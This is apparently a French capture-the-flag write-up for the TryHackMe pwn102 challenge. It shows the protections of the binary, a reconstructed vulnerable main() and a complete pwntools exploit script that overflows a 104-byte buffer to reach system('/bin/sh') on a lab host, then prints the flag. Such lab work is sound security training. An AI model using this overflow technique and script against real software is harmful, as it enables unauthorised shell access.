Challenge 2 - pwn101

18-01-2025

Information du fichier

Dans un premier temps on a besoin d'avoir un max d'information sur le fichier pour savoir à quoi nous avons à faire on va donc effectuer un file pour obtenir des informations sur le fichier. Ensuite nous ferons un checksec pour voir les protections avec lesquelles le fichier à été compilé.

Le file

pwn102: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2612b87a7803e0a8af101dc39d860554c652d165, not stripped

On retient ici le fait que le fichier est un exécutable en 64bit, et qu'il n'est pas strippé.

Le checksec

checksec pwn102
[*] '/home/effect/Informatic/Cybersecurity/THM/pwn101/pwn102'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

Les protections à retenir ici :

Analyse du Code (Ghidra)

On va voir le main sur Ghidra.

On renomme les variables que l'on arrive à deviner comme le buffer et les deux checks. Comparé au challenge précédent, on voit qu'il ne suffit pas de "crier comme un âne" dans l'input pour exploiter le buffer overflow. On a deux conditions précises et les valeurs doivent être les mêmes.

Voici une reconstitution du code source (Pseudo-code) pour mieux visualiser :

void main() {
    int check1 = 0;
    int check2 = 0;
    char buffer[104];
    
    // ... code d'initialisation ...
    
    scanf("%s", buffer); // Vulnérabilité : Buffer Overflow
    
    // Les deux conditions à valider pour avoir le shell
    if (check1 == 0xc0d3 && check2 == 0xc0ff33) {
        system("/bin/sh");
    }
}

Construction du Payload

On installe pwninit, un outil de pwn qui sert à faire des templates d'exploit en python.

On commence par vouloir remplir notre buffer, qui a une taille de 104 caractères comme défini au début du code. Ensuite on va interagir avec le programme en utilisant la fonction sendlineafter() :

On vient donc envoyer la variable padding pour remplir le buffer. Ensuite, il faut qu'on envoie les deux valeurs exactes. J'ai su dans quel ordre les envoyer en regardant l'ordre dans lequel les variables sont définies dans la stack (le buffer déborde d'abord sur la variable la plus proche) : On doit les "packer" car dans la mémoire du programme, les valeurs sont écrites en Little Endian. En les packant, cela permet littéralement d'écrire dans la mémoire les valeurs à l'endroit pour que le programme les comprenne. On utilise le format 32 bits (p32) car ce sont des entiers sur 4 octets.

padding = b"A" * 104
payload = padding + p32(0xc0d3) + p32(0xc0ff33)

Exploit

En lançant le programme, il nous demande si on a besoin de "badf00d" :

Run

Voici le script final (solve.py) :

#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn102")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("10.80.189.153", 9002)

    return r


def main():
    r = conn()

    # good luck pwning :)
    padding = b"A" * 104
    r.sendlineafter(b"?", padding + p32(0xc0d3) + p32(0xc0ff33))
    r.interactive()


if __name__ == "__main__":
    main()

Une fois le script exécuté :

Exploit

Flag : THM{y3s_1_n33D_C0ff33_to_C0d3_<3}